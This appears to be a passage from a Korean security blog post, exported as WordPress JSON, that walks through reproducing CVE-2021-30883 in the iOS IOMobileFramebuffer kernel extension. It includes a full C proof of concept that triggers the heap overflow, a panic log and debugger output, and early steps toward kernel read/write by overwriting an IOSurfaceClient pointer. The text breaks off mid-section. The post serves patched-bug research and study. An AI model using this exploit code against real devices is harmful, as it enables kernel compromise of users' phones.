{"id":4029,"date":"2025-12-27T23:42:02","date_gmt":"2025-12-27T14:42:02","guid":{"rendered":"https:\/\/h4ck.kr\/?p=4029"},"modified":"2025-12-27T23:43:05","modified_gmt":"2025-12-27T14:43:05","slug":"%ec%8b%a4%ec%8a%b5-cve-2021-30883-%ec%9d%b5%ec%8a%a4%ed%94%8c%eb%a1%9c%ec%9e%87%ed%95%b4%eb%b3%b4%ea%b8%b0-ios-14","status":"publish","type":"post","link":"https:\/\/h4ck.kr\/?p=4029","title":{"rendered":"[\uc2e4\uc2b5] CVE-2021-30883 \uc775\uc2a4\ud50c\ub85c\uc787\ud574\ubcf4\uae30 (iOS 14)"},"content":{"rendered":"\n<div class=\"wp-block-jetpack-markdown\"><h1>\ubc84\uadf8 \uc54c\uc544\ubcf4\uae30 \/ \ud2b8\ub9ac\uac70 \ubc29\ubc95<\/h1>\n<p>\uc774\ubbf8 \uc57d 4\ub144\uc804\uc5d0 Saar Ammar \ubcf4\uc548 \uc5f0\uad6c\uc6d0\uaed8\uc11c \ub77c\uc774\ud2b8\uc5c5\uc744 \uc790\uc138\ud558\uac8c \uc801\uc5b4\ub450\uc5c8\uc9c0\ub9cc, \uc9c1\uc811 poc \ucf54\ub4dc\ub97c \uc2e4\ud589\uc2dc\ucf1c \ub208\uc73c\ub85c \uc9c1\uc811 \ud655\uc778\ud574\ubcf4\ub824\uace0 \ud55c\ub2e4. \ud574\ub2f9 \ucde8\uc57d\uc810\uc740 In the wild\uc5d0\uc11c \uc0ac\uc6a9\ub41c \uc801\uc774 \uc788\uc5c8\uc73c\uba70, iOS 15.0.2\/14.8.1\uc5d0\uc11c \ud328\uce58\ub418\uc5c8\ub2e4. \uc560\ud50c A10X, A11, A12(X\/Z), A13\uce69 \uae30\uae30\uc5d0\uc11c\ub9cc \ucde8\uc57d\uc810\uc774 \uc791\ub3d9\ud55c\ub2e4.<\/p>\n<p>PoC \ucf54\ub4dc\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/\/\n\/\/  poc.c\n\/\/  iomfb_poc\n\/\/\n\/\/  Created by Saar Amar.\n\/\/\n\n#include &quot;poc.h&quot;\n\nio_connect_t get_iomfb_uc(void) {\n    kern_return_t ret;\n    io_connect_t shared_user_client_conn = MACH_PORT_NULL;\n    int type = 0;\n    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,\n                                                       IOServiceMatching(&quot;AppleCLCD&quot;));\n    \n    if(service == MACH_PORT_NULL) {\n        printf(&quot;[-] failed to open service\\n&quot;);\n        return MACH_PORT_NULL;\n    }\n    \n    printf(&quot;[*] AppleCLCD service: 0x%x\\n&quot;, service);\n\n    ret = IOServiceOpen(service, mach_task_self(), type, &amp;shared_user_client_conn);\n    if(ret != KERN_SUCCESS) {\n        printf(&quot;[-] failed to open userclient: %s\\n&quot;, mach_error_string(ret));\n        return MACH_PORT_NULL;\n    }\n    \n    printf(&quot;[*] AppleCLCD userclient: 0x%x\\n&quot;, shared_user_client_conn);\n    \n    return shared_user_client_conn;\n}\n\nvoid do_trigger(io_connect_t iomfb_uc) {\n    kern_return_t ret = KERN_SUCCESS;\n    size_t input_size = 0x180;\n    \n    uint64_t scalars[2] = { 0 };\n\n    char *input = (char*)malloc(input_size);\n    if (input == NULL) {\n        perror(&quot;malloc input&quot;);\n        return;\n    }\n    \n    memset(input, 0x41, input_size);\n    int *pArr = (int*)input;\n\n    pArr[0] = 0x3;          \/\/ sub-sub selector\n    pArr[1] = 0xffffffff;   \/\/ has to be non-zero\n    pArr[2] = 0x40000001;   \/\/ #iterations in the outer loop (new_from_data)\n    pArr[3] = 2;\n    pArr[8] = 2;\n    pArr[89] = 4;           \/\/ #iterations in the inner loop (set_table)\n    \n    \/* each call trigger a flow with a lot of calls to set_table(), while\n       each set_table() flow will do a loop of only 4 iterations*\/\n    for (size_t i = 0; i &lt; 0x10000; ++i) {\n        ret = IOConnectCallMethod(iomfb_uc, 78,\n                            scalars, 2,\n                            input, input_size,\n                            NULL, NULL,\n                            NULL, NULL);\n    }\n\n    if (ret != KERN_SUCCESS) {\n        printf(&quot;s_set_block failed, ret == 0x%x --&gt; %s\\n&quot;, ret, mach_error_string(ret));\n    } else {\n        printf(&quot;success!\\n&quot;);\n    }\n    \n    free(input);\n}\n\nvoid poc(void) {\n    io_connect_t iomfb_uc = get_iomfb_uc();\n    if (iomfb_uc == MACH_PORT_NULL) {\n       return;\n    }\n    \n    do_trigger(iomfb_uc);\n    \n    \/\/ we don't reach here, but for completness\n    IOServiceClose(iomfb_uc);\n}\n\nint main(void) {\n    poc();\n}\n<\/code><\/pre>\n<p>\uadf8\ub9ac\uace0 iOS 14.0 beta5 \/ QEMUAppleSilicon \ud658\uacbd\uc5d0\uc11c PoC\ub97c \ud2b8\ub9ac\uac70\ud558\uba74,\n<code>IOMFB::TableCompensator::BilerpGainTable::new_from_data<\/code> \ud568\uc218\uc5d0\uc11c <code>kalloc_ext<\/code> \ud638\ucd9c\ud558\ub294\ub370, \uc5ec\uae30\uc11c kext.kalloc.80 \uc874\uc73c\ub85c\ubd80\ud130 \ucee4\ub110\uba54\ubaa8\ub9ac\ub97c \ud560\ub2f9\ubc1b\uc744\ub54c\uc5d0 \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">(lldb) c\nProcess 1 resuming\nProcess 1 stopped\n* thread #2, stop reason = breakpoint 1.1\n    frame #0: 0xfffffff0097db944 kernel.research.iphone12b`panic\nkernel.research.iphone12b`panic:\n-&gt;  0xfffffff0097db944 &lt;+0&gt;:  pacibsp \n    0xfffffff0097db948 &lt;+4&gt;:  sub    sp, sp, #0x20\n    0xfffffff0097db94c &lt;+8&gt;:  stp    x29, x30, [sp, #0x10]\n    0xfffffff0097db950 &lt;+12&gt;: add    x29, sp, #0x10\nTarget 0: (kernel.research.iphone12b) stopped.\n(lldb) bt\n* thread #2, stop reason = breakpoint 1.1\n  * frame #0: 0xfffffff0097db944 kernel.research.iphone12b`panic\n    frame #1: 0xfffffff008127ee4 kernel.research.iphone12b`zone_element_not_clear_panic + 60\n    frame #2: 0xfffffff007a9156c kernel.research.iphone12b`zalloc_validate_element + 236\n    frame #3: 0xfffffff007a94d34 kernel.research.iphone12b`zcache_alloc_from_cpu_cache + 292\n    frame #4: 0xfffffff007a92d3c kernel.research.iphone12b`zalloc_ext + 60\n    frame #5: 0xfffffff007a3bf74 kernel.research.iphone12b`kalloc_ext + 152\n    frame #6: 0xfffffff009773fd4 kernel.research.iphone12b`IOMFB::TableCompensator::BilerpGainTable::new_from_data(IOMFBLUTTableState const*, int, unsigned int, int const*, int const*, int) + 192\n    frame #7: 0xfffffff0097759a0 kernel.research.iphone12b`IOMFB::TempCompHandler::set(IOMFB_0D_Temp_State const*, unsigned int) + 1064\n    frame #8: 0xfffffff0096de958 kernel.research.iphone12b`IOMFB::GateManager::runAction(IOMFBStatus (*)(OSObject*, void*, void*, void*, void*), void*, void*, void*, void*)::$_1::operator()(OSObject*, void*, void*, void*, void*) const + 112\n    frame #9: 0xfffffff0096de8dc kernel.research.iphone12b`IOMFB::GateManager::runAction(IOMFBStatus (*)(OSObject*, void*, void*, void*, void*), void*, void*, void*, void*)::$_1::__invoke(OSObject*, void*, void*, void*, void*) + 64\n    frame #10: 0xfffffff008050900 kernel.research.iphone12b`IOCommandGate::runAction(int (*)(OSObject*, void*, void*, void*, void*), void*, void*, void*, void*) + 220\n    frame #11: 0xfffffff0096ddedc kernel.research.iphone12b`IOMFB::GateManager::runAction(IOMFBStatus (*)(OSObject*, void*, void*, void*, void*), void*, void*, void*, void*) + 340\n    frame #12: 0xfffffff00979d8a0 kernel.research.iphone12b`IOMFB::PBTBlockHandler&lt;IOMFB_0D_Temp_State&gt;::set(void const*, unsigned long, unsigned long long const*, unsigned int, IOMFB::Gate*, void const*, unsigned int) const + 264\n    frame #13: 0xfffffff0097c1994 kernel.research.iphone12b`IOMFB::PBTBlockMgr::exec(IOMFB_Parameter_Block_Type, IOMFB::PBTBlockMgr::Op, task*, void const*, IOMFBStatus (IOMFB::PBTBlockHandlerGeneric*, void*, unsigned int) block_pointer, bool) const + 432\n    frame #14: 0xfffffff0097c1c00 kernel.research.iphone12b`IOMFB::PBTBlockMgr::set_block(task*, IOMFB_Parameter_Block_Type, void const*, unsigned long, unsigned long long const*, unsigned int, bool) const + 144\n    frame #15: 0xfffffff0097bf3d0 kernel.research.iphone12b`UnifiedPipeline::set_block(task*, unsigned int, unsigned int, unsigned long long const*, unsigned int, unsigned char const*, unsigned long) + 28\n    frame #16: 0xfffffff0096e29cc kernel.research.iphone12b`IOMobileFramebufferUserClient::s_set_block(IOMobileFramebufferUserClient*, void*, IOExternalMethodArguments*) + 312\n    frame #17: 0xfffffff00808cb78 kernel.research.iphone12b`IOUserClient::externalMethod(unsigned int, IOExternalMethodArguments*, IOExternalMethodDispatch*, OSObject*, void*) + 612\n    frame #18: 0xfffffff0096e141c kernel.research.iphone12b`IOMobileFramebufferUserClient::externalMethod(unsigned int, IOExternalMethodArguments*, IOExternalMethodDispatch*, OSObject*, void*) + 292\n    frame #19: 0xfffffff00809a98c kernel.research.iphone12b`is_io_connect_method + 708\n    frame #20: 0xfffffff007b25190 kernel.research.iphone12b`_Xio_connect_method + 408\n    frame #21: 0xfffffff007a30e9c kernel.research.iphone12b`ipc_kobject_server + 752\n    frame #22: 0xfffffff007a021d8 kernel.research.iphone12b`ipc_kmsg_send + 292\n    frame #23: 0xfffffff007a1d810 kernel.research.iphone12b`mach_msg_overwrite_trap + 284\n    frame #24: 0xfffffff007b4a434 kernel.research.iphone12b`mach_syscall + 396\n    frame #25: 0xfffffff007b57094 kernel.research.iphone12b`sleh_synchronous + 1780\n    frame #26: 0xfffffff00811c5f4 kernel.research.iphone12b`fleh_synchronous + 40\n    frame #27: 0x00000001ae355224\n    frame #28: 0x00000001af456ee4\n    frame #29: 0x00000001af3dee18\n    frame #30: 0x00000001002a4178\n    frame #31: 0x00000001002a4238\n    frame #32: 0x00000001002a4260\n    frame #33: 0x00000001ae383e60\n\n...\npanic(cpu 1 caller 0xfffffff008127ee4): &quot;Zone element 0xffffffe19ce185f0 was modified after free for zone kext.kalloc.80: &quot; &quot;Expected element to be cleared&quot;\nDebugger message: panic\nMemory ID: 0x0\nOS release type: Beta\nOS version: 18A5351d\nKernel version: Darwin Kernel Version 20.0.0: Wed Aug 12 22:56:55 PDT 2020; root:xnu-7195.0.33~64\/RELEASE_ARM64_T8030\nKernel UUID: FDDAF386-4EA2-35FC-8235-1F167AEFD6F3\niBoot version: ChefKiss QEMU Apple Silicon\nsecure boot?: YES\nPaniclog version: 13\nKernel text base:  0xfffffff007004000\nmach_absolute_time: 0x1c00bbfa\nEpoch Time:        sec       usec\n  Boot    : 0x694d496f 0x00079126\n  Sleep   : 0x00000000 0x00000000\n  Wake    : 0x00000000 0x00000000\n  Calendar: 0x694d4980 0x000db633\n\nPanicked task 0xffffffe19ccadf40: 75 pages, 1 threads: pid 124: CVE-2021-30883\n...\n<\/code><\/pre>\n<p>\ucee4\ub110 \ub514\ubc84\uae45\uc744 \ud558\uba74\uc11c \ucde8\uc57d\uc810 \uc788\ub294 \ud568\uc218\uae4c\uc9c0 \uc5b4\ub5bb\uac8c \ub3c4\ub2ec\ub418\ub294\uc9c0 \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n<p>\uc6b0\uc120 \ud568\uc218 \uacbd\ub85c\ub97c \ud655\uc778\ud574\ubcf4\uba74, <code>IOMobileFramebufferUserClient::s_set_block<\/code> \ub97c \ud638\ucd9c\uc2dc\ud0a4\uae30 \uc704\ud574 78\ubc88\uc758 \uc140\ub809\ud130\ub97c \uc0ac\uc6a9\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">ret = IOConnectCallMethod(iomfb_uc, 78, ...)\n<\/code><\/pre>\n<p>\uadf8\ub9ac\uace0 <code>IOMFB::TempCompHandler::set<\/code> \uc5d0\uc11c case 3 \uad6c\ubb38\uc73c\ub85c \ube0c\ub79c\uce58\ud558\uae30 \uc704\ud574 \uc11c\ube0c \uc140\ub7ed\ud130\uac00 \uc778\ud48b\uc73c\ub85c \ub4e4\uc5b4\uac04\ub2e4.<\/p>\n<pre><code class=\"language-c\">    pArr[0] = 0x3;          \/\/ sub-sub selector\n    ...\n    \n    \/* each call trigger a flow with a lot of calls to set_table(), while\n       each set_table() flow will do a loop of only 4 iterations*\/\n    for (size_t i = 0; i &lt; 0x10000; ++i) {\n        ret = IOConnectCallMethod(iomfb_uc, 78,\n<\/code><\/pre>\n<p><code>IOMobileFramebufferUserClient::s_set_block<\/code> \uc5d0\uc11c <code>IOMFB::TableCompensator::BilerpGainTable::new_from_data<\/code> \ucde8\uc57d\uc810 \uc788\ub294 \ud568\uc218\uc5d0 \ub3c4\ub2ec\ud558\uae30\uae4c\uc9c0\uc758 \uadf8\ub9bc\uc744 \ub098\ud0c0\ub0b4\uc790\uba74 \ubcf5\uc7a1\ud558\uc9c0\ub9cc, \uc544\ub798\uc640 \uac19\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30883\/pics\/Drawing_2025-12-26_02.57.38.excalidraw.png\" alt=\"Drawing 2025-12-26 02.57.38.excalidraw.png\"><\/p>\n<p>\ucde8\uc57d\uc810\uc774 \uc788\ub294 <code>IOMFB::TableCompensator::BilerpGainTable::new_from_data<\/code> \ub97c \uc0b4\ud3b4\ubcf4\uacd8\ub2e4.<\/p>\n<p>\ucee4\ub110\uc744 \ud560\ub2f9\ud560\ub54c\uc5d0 \uc5ec\ub7ec \uc5f0\uc0b0\uc744 \uac70\uccd0 \ud560\ub2f9\ubc1b\uc744 \ud06c\uae30\ub97c \uacc4\uc0b0\ud558\uace0 <code>operator new[]<\/code> \ub97c \ud638\ucd9c\ud558\uc5ec \ucee4\ub110 \uba54\ubaa8\ub9ac\ub97c \ud560\ub2f9\ud55c\ub2e4. <code>operator new[]<\/code>\ub294 KHEAP_KEXT \ud0c0\uc785\uc73c\ub85c \ud560\ub2f9\ubc1b\ub294\ub2e4. \ubb38\uc81c\ub294 \uc5ec\uae30\uc11c \ud574\ub2f9 \ud568\uc218\ub85c \uc774\uc5b4\uc9c0\ub294 \ud638\ucd9c \uc2a4\ud0dd \uc5b4\ub514\uc5d0\ub3c4 \uc5f0\uc0b0\uc744 \ud560\ub54c\uc5d0 \uc815\uc218 \uc624\ubc84\ud50c\ub85c\uc6b0 \uac80\uc99d\uc774 \uc874\uc7ac\ud558\uc9c0 \uc54a\ub294\ub2e4\ub294 \uc810\uc774\ub2e4!<\/p>\n<p>\ud574\ub2f9 \uc5f0\uc0b0\uc744 \uc218\ud589\ud560\ub54c \ucf54\ub4dc\ub4e4 \ubcf4\uba74,\nv14, v15, a3 \ubaa8\ub450 \uc778\ud48b\uac12\uc73c\ub85c \uc81c\uc5b4\ud560 \uc218 \uc788\uc73c\uba70, \ucd5c\uc885\uc801\uc73c\ub85c 0x44\ub77c\ub294 \uc815\uc218 \uc624\ubc84\ud50c\ub85c\uc6b0\ub97c \ub0b3\uac8c \ub9cc\ub4e0\ub2e4.<\/p>\n<p>\uadf8\ub7f0 \ub2e4\uc74c, <code>IOMFB::TableCompensator::BilerpGainTable::set_table<\/code>\ub97c \ud638\ucd9c\ud558\ub294\ub370, \ud55c\ubc88 \uc0b4\ud3b4\ubcf4\uc790. \ud560\ub2f9\ub41c \ucee4\ub110 \uc601\uc5ed\uc5d0 \uc0ac\uc6a9\uc790 \ub370\uc774\ud130\ub97c \uc4f0\ub294, wild-copy\uac00 \ubc1c\uc0dd\ud55c\ub2e4. \ucd1d 4\ubc88\uc758 \ubc18\ubcf5\uc73c\ub85c \uac12\uc774 \uc368\uc9c0\uace0 \uc788\uc73c\uba70 \uc774 \ubc18\ubcf5\ud69f\uc218 \ub610\ud55c \uc81c\uc5b4\uac00 \uac00\ub2a5\ud558\ub2e4.<\/p>\n<p><code>IOMFB::TableCompensator::BilerpGainTable::new_from_data<\/code> \ud6c4\ubc18\ubd80 \ucf54\ub4dc\uc5d0\uc11c\ub294 \ucd1d 0x40000001\ubc88 <code>IOMFB::TableCompensator::BilerpGainTable::set_table<\/code> \ud568\uc218\ub97c \ubc18\ubcf5 \ud638\ucd9c\uc2dc\ud0b4\uc73c\ub85c\uc368 \uacc4\uc18d wild-copy\uac00 \ubc1c\uc0dd\ud558\ub3c4\ub85d \ub9cc\ub4e0\ub2e4.<\/p>\n<p>\uadf8 \uacb0\uacfc, 0x44\ud06c\uae30\ub9cc\ud07c \ucee4\ub110 \uba54\ubaa8\ub9ac\ub97c \ud560\ub2f9\uc2dc\ucf30\uc9c0\ub9cc,\n28\ubc14\uc774\ud2b8\ub9cc\ud07c \ub354 \uc368\uc84c\uae30 \ub54c\ubb38\uc5d0 \ud799 \uc624\ubc84\ud50c\ub85c\uc6b0\uac00 \ubc1c\uc0dd\ud55c\ub2e4. (\ucd1d 60\ubc14\uc774\ud2b8\ub9cc\ud07c \uc4f0\uc784)<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30883\/pics\/Drawing_2025-12-26_03.37.34.excalidraw.png\" alt=\"Drawing 2025-12-26 03.37.34.excalidraw.png\"><\/p>\n<h1>\uc775\uc2a4\ud50c\ub85c\uc787 (iOS 14.x)<\/h1>\n<h2>1. \uc775\uc2a4\ud50c\ub85c\uc787 \uc544\uc774\ub514\uc5b4<\/h2>\n<p>\ucd9c\ucc98: <a href=\"https:\/\/github.com\/potmdehex\/slides\/blob\/main\/Zer0Con_2022_Tales_from_the_iOS_macOS_Kernel_Trenches.pdf\">https:\/\/github.com\/potmdehex\/slides\/blob\/main\/Zer0Con_2022_Tales_from_the_iOS_macOS_Kernel_Trenches.pdf<\/a><\/p>\n<p>Zer0con 2022 \ubc1c\ud45c\uc790\ub8cc\ub97c \ud1b5\ud574 \uc775\uc2a4\ud50c\ub85c\uc787 \ubc29\ubc95\uc5d0 \ub300\ud55c \ud78c\ud2b8\ub97c \uc5bb\uc5c8\ub2e4.\n\ubc14\ub85c, \ud799 \uc624\ubc84\ud50c\ub85c\uc6b0 \ucde8\uc57d\uc810\uc744 \ud1b5\ud574 IOSurfaceClient \uac1d\uccb4\uc758 \ub370\uc774\ud130\ub97c \uc784\uc758\ub85c \uc81c\uc5b4\ud558\ub294 \uac83\uc774\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30883\/pics\/Screenshot_2025-12-26_at_5.27.01_AM.png\" alt=\"Screenshot 2025-12-26 at 5.27.01\u202fAM.png\"><\/p>\n<p>\ud574\ub2f9 \uac1d\uccb4\ub294 \uc774\uc804\uc5d0 \ub0b4\uac00 \uc791\uc131\ud55c <strong>\u201c[\uc2e4\uc2b5] CVE-2021-30937(multicast_bytecopy) \uc774\ud574\ud558\uae30 (macOS 12.0.1 \/ iOS 15)\u201c<\/strong> \ub77c\uc774\ud2b8\uc5c5\uc744 \ubcf4\uba74 \uc54c\uaca0\uc9c0\ub9cc, \ucee4\ub110 \uc77d\uae30\/\uc4f0\uae30\uc5d0 \ub9e4\uc6b0 \uc911\uc694\ud55c \uc694\uc18c\uc774\ub2e4. <strong>IOSurfaceClient \uc694\uc18c\uc758 +0x40 \uc704\uce58(IOSurface \ud3ec\uc778\ud130)\ub97c \uc784\uc758\ub85c \uc81c\uc5b4\ud560 \uc218 \uc788\uae30 \ub54c\ubb38\uc5d0<\/strong>, \ucda9\ubd84\ud55c \uac04\uc811 \ucc38\uc870 \uc218\uc900(indirection)\uc774 \uc788\uc5b4 \ucee4\ub110 \uc784\uc758 \uc4f0\uae30\uc640 \uc77d\uae30 \uc218\ud589\uc774 \uac00\ub2a5\ud558\ub2e4.<\/p>\n<p>\uadf8\ub807\uae30 \ub54c\ubb38\uc5d0 <strong>IOSurfaceClient \uc694\uc18c\uc758 +0x40 \uc704\uce58\uc5d0\ub294 \uc6b0\ub9ac\uac00 \ub370\uc774\ud130\ub97c \uc784\uc758\ub85c \uc81c\uc5b4\uac00\ub2a5\ud55c \ucee4\ub110 \uc8fc\uc18c\ub85c \ub36e\uc5b4\uc368\uc57c \ud55c\ub2e4.<\/strong><\/p>\n<p>pipe\ub97c \ub418\ub3c4\ub85d \ub9ce\uc774 \uc0dd\uc131\ud558\uace0 (\ucee4\ub110 \ud398\uc774\uc9c0 \ud06c\uae30-1)\ub9cc\ud07c write\uc2dc\ud0a4\uba74 KHEAP_DATA_BUFFERS \ud0c0\uc785\uc73c\ub85c \ucee4\ub110 \uba54\ubaa8\ub9ac\uac00 \ud560\ub2f9\ub41c\ub2e4. \ud560\ub2f9\ub41c \uc8fc\uc18c\ub4e4\uc744 \ud504\ub85c\ud30c\uc77c\ub9c1\ud558\uace0, \ud504\ub85c\ud30c\uc77c\ub9c1\ub41c \uc8fc\uc18c\ub85c \ub36e\uc790. \uadf8\ub7ec\uba74 IOSurface \uac1d\uccb4 \ub300\uc2e0\uc5d0 \ud560\ub2f9\ub41c \uc5ec\ub7ec \ud30c\uc774\ud504 \ucee4\ub110\ub370\uc774\ud130 \uc8fc\uc18c\ub4e4 \uc911 \ud558\ub098\ub85c \ub300\uc2e0 \uac00\ub9ac\ud0a4\uac8c \ub41c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30883\/pics\/image.png\" alt=\"image.png\"><\/p>\n<p>IOSurfaceClient \uac1d\uccb4\ub294 <code>IOSurfaceClient::MetaClass::alloc<\/code> \uc5d0\uc11c KHEAP_KEXT \ud0c0\uc785\uc73c\ub85c \ucee4\ub110 \uba54\ubaa8\ub9ac\ub97c \ud560\ub2f9\ubc1b\ub294\ub2e4. \ud560\ub2f9 \ud06c\uae30\ub294 152\uc774\ubbc0\ub85c, \uc815\ud655\ud788\ub294 <code>kext.kalloc.160<\/code> \uc874\uc73c\ub85c\ubd80\ud130 \ud560\ub2f9\ubc1b\ub294\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">OSObject *__fastcall IOSurfaceClient::MetaClass::alloc(IOSurfaceClient::MetaClass *this)\n{\n  OSObject *v1; \/\/ x19\n  OSObject *v2; \/\/ x0\n\n  v1 = (OSObject *)OSObject::operator new(152u);\/\/ kalloc from KHEAP_KEXT\n  v2 = OSObject::OSObject(v1, &amp;IOSurfaceClient::gMetaClass);\n  v2-&gt;__vftable = (OSObject_vtbl *)&amp;off_FFFFFFF0078319C8;\n  v2[4].__vftable = 0;\n  *(_QWORD *)&amp;v2[4].retainCount = 0;\n  OSMetaClass::instanceConstructed(&amp;IOSurfaceClient::gMetaClass);\n  return v1;\n}\n<\/code><\/pre>\n<p>PoC \ucf54\ub4dc\uc5d0\uc11c <code>pArr[2]<\/code>, <code>pArr[89]<\/code>\uc758 \uac12\uc744 \uac01\uac01 0x40000000, 40\uc73c\ub85c \ubc14\uafb8\uba74\n\uae30\uc874 \ucee4\ub110 \ud560\ub2f9\ud06c\uae30\uc600\ub358 0x44\uc5d0\uc11c 0xa0(=160)\uc73c\ub85c \ub298\ub9b4 \uc218 \uc788\ub2e4.<\/p>\n<p>\uc2dc\ud589\ucc29\uc624\ub85c \uac12\uc744 \ud558\ub098\uc529 \ubc14\uafb8\uba74\uc11c \ud328\ub2c9 \ub85c\uadf8\ub97c \ud1b5\ud574 \ucee4\ub110 \ud560\ub2f9\ud06c\uae30\ub97c \uc77c\uc77c\uc774 \ud655\uc778\ud560 \uc218\ub3c4 \uc788\uaca0\uc9c0\ub9cc,\n\ucee4\ub110 \ub514\ubc84\uae45\uc744 \ud1b5\ud574 \ucee4\ub110 \ud560\ub2f9\ud06c\uae30\uac00 \uc5b4\ub5bb\uac8c \uacc4\uc0b0\ub418\ub294\uc9c0 \ud655\uc778\ud574\ubcf4\uc790.<\/p>\n<pre><code class=\"language-cpp\">...\n    pArr[0] = 0x3;          \/\/ sub-sub selector\n    pArr[1] = 0xffffffff;   \/\/ has to be non-zero\n    pArr[2] = 0x40000000;   \/\/ #iterations in the outer loop (new_from_data)\n    pArr[3] = 2;\n    pArr[8] = 2;\n    pArr[89] = 40;           \/\/ #iterations in the inner loop (set_table)\n    \n    \/* each call trigger a flow with a lot of calls to set_table(), while\n       each set_table() flow will do a loop of only 4 iterations*\/\n    for (size_t i = 0; i &lt; 0x10000; ++i) {\n        ret = IOConnectCallMethod(iomfb_uc, 78,\n                            scalars, 2,\n                            input, input_size,\n                            NULL, NULL,\n                            NULL, NULL);\n    }\n...\n<\/code><\/pre>\n<p>\ucee4\ub110 \ud560\ub2f9\ud06c\uae30\ub294 \uc544\ub798 \uc0ac\uc9c4\uacfc \uac19\uc774 \uacc4\uc0b0\ub418\uba70,<\/p>\n<pre><code class=\"language-cpp\">&gt;&gt;&gt; hex((12 * 40 * 0x40000000 + 4 * (40 + 0x40000000)) &amp; 0xffffffff)\n'0xa0'\n<\/code><\/pre>\n<p>160 \ud06c\uae30\uc758 \ud560\ub2f9 \uc874\uc744 \ub118\uc5b4\uc11c\uc11c,\n0x64\ubc14\uc774\ud2b8 \uc784\uc758\ub85c \ub354 \uc6d0\ud558\ub294 \ub370\uc774\ud130\ub97c \ub36e\uc5b4\uc4f8 \uc218 \uc788\uc5c8\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30883\/pics\/Drawing_2025-12-26_03.37.34.excalidraw_1.png\" alt=\"Drawing 2025-12-26 03.37.34.excalidraw 1.png\"><\/p>\n<p>\uadf8\ub9ac\uace0 \uc911\uc694\ud55c \uac83\uc740, <strong>IOSurfaceClient \uc694\uc18c\uc758 +0x40 \uc704\uce58(IOSurface \ud3ec\uc778\ud130)\ub97c \uc784\uc758\ub85c \uc81c\uc5b4\ud558\uae30 \uc704\ud574<\/strong>\ninput \ub370\uc774\ud130 \uc911 <strong>\uc5b4\ub290 \uc624\ud504\uc14b\uc744 \uc81c\uc5b4\ud558\ub290\ub0d0\ub2e4.<\/strong><\/p>\n<p><code>*(uint64_t *)(input + 0x150)<\/code>, <code>*(uint64_t *)(input + 0x158)<\/code>  \ub450 \uacf3\uc744 \uc784\uc758\ub85c \uac12\uc744 \ub123\uc5b4\uc92c\ub354\ub2c8,\n\uacb0\uacfc\ub294 \uc544\ub798\uc640 \uac19\uc558\ub2e4.<\/p>\n<p>160 \ud06c\uae30\uc758 \ud560\ub2f9\ubc1b\uc740 \ucee4\ub110\uc601\uc5ed\uc744 \ub118\uc5b4\uc120 \ub2e4\uc74c\uc758 160\ud06c\uae30 \uc874\uc744 \uc0b4\ud3b4\ubcf4\uba74,\n+0x40 \uc704\uce58\uc5d0\ub294 0x1339134085868788 \uac12\uc774 \ub4e4\uc5b4\uac04\ub2e4.<\/p>\n<p>\uc989, <code>*(uint64_t *)(input + 0x158)<\/code>\uc758 \ud558\uc704 4\ubc14\uc774\ud2b8\uac12\uacfc <code>*(uint64_t *)(input + 0x150)<\/code>\uc758 \ud558\uc704 4\ubc14\uc774\ud2b8\uac12\uc774 \ub4e4\uc5b4\uac04\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">    *(uint64_t *)(input + 0x150) = 0x8182838485868788;\n    *(uint64_t *)(input + 0x158) = 0x1337133813391340;  \/\/ to control IOSurface ptr\n\n[0xffffffe4cc610fa0+0x000] 41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |  AAAAAAAAAAAAAAAA \n[0xffffffe4cc610fa0+0x010] 41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |  AAAAAAAAAAAAAAAA \n[0xffffffe4cc610fa0+0x020] 41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |  AAAAAAAAAAAAAAAA \n[0xffffffe4cc610fa0+0x030] 41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |  AAAAAAAAAAAAAAAA \n[0xffffffe4cc610fa0+0x040] 88 87 86 85 40 13 39 13  38 13 37 13 41 41 41 41  |  ....@.9.8.7.AAAA &lt;--\n[0xffffffe4cc610fa0+0x050] 41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |  AAAAAAAAAAAAAAAA \n[0xffffffe4cc610fa0+0x060] 41 41 41 41 00 00 00 00  00 00 00 00 00 00 00 00  |  AAAA............ \n<\/code><\/pre>\n<p>\ub530\ub77c\uc11c \uc544\ub798 \ucf54\ub4dc\ub85c +0x40 \uc624\ud504\uc14b\uc5d0 \uc784\uc758\ub85c 8\ubc14\uc774\ud2b8\uac12\uc744 \ucee8\ud2b8\ub864\ud560 \uc218 \uc788\uc5c8\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">    *(uint64_t *)(input + 0x150) = 0x8182838400000000 + ((KHEAP_DATA_MAPPABLE_LOC+0x10) &amp; 0xffffffff);\n    *(uint64_t *)(input + 0x158) = 0x1337133813391340;  \n    *(uint64_t *)(input + 0x154) = KHEAP_DATA_MAPPABLE_LOC+0x10;\n<\/code><\/pre>\n<h2>2. \ud30c\uc774\ud504 \uc2a4\ud504\ub808\uc774\ud558\uae30 \uc804 \ud504\ub85c\ud30c\uc77c\ub9c1<\/h2>\n<p>\uc775\uc2a4\ud50c\ub85c\uc787\ud558\uae30\uc804\uc5d0 \uba3c\uc800 \ud30c\uc774\ud504 